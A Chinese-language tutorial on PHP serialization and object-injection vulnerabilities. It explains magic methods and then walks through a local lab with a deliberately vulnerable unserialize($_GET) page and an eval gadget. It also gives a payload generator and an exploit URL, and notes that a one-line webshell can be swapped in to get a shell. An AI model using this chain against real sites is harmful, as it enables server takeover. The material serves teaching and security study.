序列化与反序列化
序列化就是把数据结构或对象转换成二进制串
反序列化就是把二进制串还原成对象格式
serialize是序列化
<?php
class test
{
private $flag='Inactive';
protected $test="test";
public $test1="test1";
public function set_flag($fLag)
{
$this->flag=$flag;
}
public function get_flag()
{
return $this->flag;
}
}
$object=new test();
$object->set_flag('Active');
$data=serialize($object);
echo $data;
?>
文件保存在phpstudy的WWW目录下,打开phpstudy,用浏览器打开1.php
这里涉及到三种权限
1.public权限
他的序列化规规矩矩,按照我们常规的思路,该是⼏个字符就是⼏个字符,通过 test1 属性可以看出来。
2.private权限
该权限是私有权限,也就是说只能 test类使⽤,于是乎 test 有着强烈的占有欲,于是在序列化的时候⼀定要在 private 属性前⾯加上⾃⼰的名字,同时还要在类名的前后都加上%00。在私有属性序列化的时候格式是 %00类名%00属性名
3.protected权限
protected权限格式为 %00*%00属性名
序列化他只序列化属性,不序列化⽅法,这个性质就引出了两个⾮常重要的话题:
(1)我们在反序列化的时候⼀定要保证在当前的作⽤域环境下有该类存在
(2)我们在反序列化攻击的时候也就是依托类属性进⾏攻击
反序列化
讲序列化的内容保存到一个txt文件中,代码为:
<?php
class test
{
private $flag='Inactive';
protected $test="test";
public $test1="test1";
public function set_flag($flag)
{
$this->flag=$flag;
}
public function get_flag()
{
return $this->flag;
}
}
$object=new test();
$object->set_flag('Active');
$data=serialize($object);
file_put_contents("serialize.txt", $data);
?>
序列化的内容保存serialize.txt中,将文件里的内容反序列化,并输出属性值 test1 和 flag 的值。
<?php
class test
{
private $flag='Inactive';
protected $test="test";
public $test1="test1";
public function set_flag($flag)
{
$this->flag=$flag;
}
public function get_flag()
{
return $this->flag;
}
}
$data = file_get_contents("serialize.txt");
$data = unserialize($data);
echo $data->test1."<br>";
echo $data->get_flag()."<br>";
//var_dump($data);
?>
我们可以修改serialize.txt中的值,改变显示的值。
反序列化漏洞
概念:PHP 反序列化漏洞⼜叫做 PHP 对象注⼊漏洞
反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上⾯的例⼦看,这个函数的参 数是⼀个序列化的对象,⽽序列化的对象只含有对象的属性,那我们就要利⽤对对象属性的篡改实 现最终的攻击。
常用的魔法方法:
1)__construct():当对象创建时会⾃动调⽤(但在unserialize()时是不会⾃动调⽤的)。
2)__wakeup() :unserialize()之后会⾃动调⽤
3)__destruct():当对象被销毁时会⾃动调⽤。
4)__sleep 在对象被序列化之前运行
5)__toString():当反序列化后的对象被输出在模板中的时候⾃动调⽤ (当一个对象被当作一个字符串使用)
6)__get() :当从不可访问的属性读取数据
7)__call(): 在对象上下⽂中调⽤不可访问的⽅法时触发
为什么要提到魔法方法
魔法⽅法的调⽤是在该类序列化或者反序列化的同时⾃动完成的,不需要⼈ ⼯⼲预,因此只要魔法⽅法中出现了⼀些我们能利⽤的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进⽽达到我们发动攻击的⽬的。
利用魔法方法发起攻击
测试代码:(ceshi.php)
<?php
class K0rz3n {
private $test;
public $K0rz3n = "i am K0rz3n";
function __construct(){
$this->test = new L();
}
function __destruct(){
$this->test->action();
}
}
class L{
function action(){
echo "Welcome to XDSEC";
}
}
class Evil{
var $test2;
function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
生成payload代码:(ceshi2.php)
<?php
class K0rz3n {
private $test;
function __construct() {
$this->test = new Evil;
}
}
class Evil {
var $test2 = "phpinfo();";
}
$K0rz3n = new K0rz3n;
$data = serialize($K0rz3n);
file_put_contents("seria.txt", $data);
seria.txt为:
O:6:"K0rz3n":1:{s:12:" K0rz3n test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}
访问127.0.0.1/ceshi.php,页面没有报错显示空白。在测试代码可以看见通过GET方法传入参数进行反序列化。
http://127.0.0.1/ceshi.php?test=O:6:"K0rz3n":1:{s:12:"K0rz3ntest";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}
把phpinfo换成一句话木马,通过C刀可以直接getshell。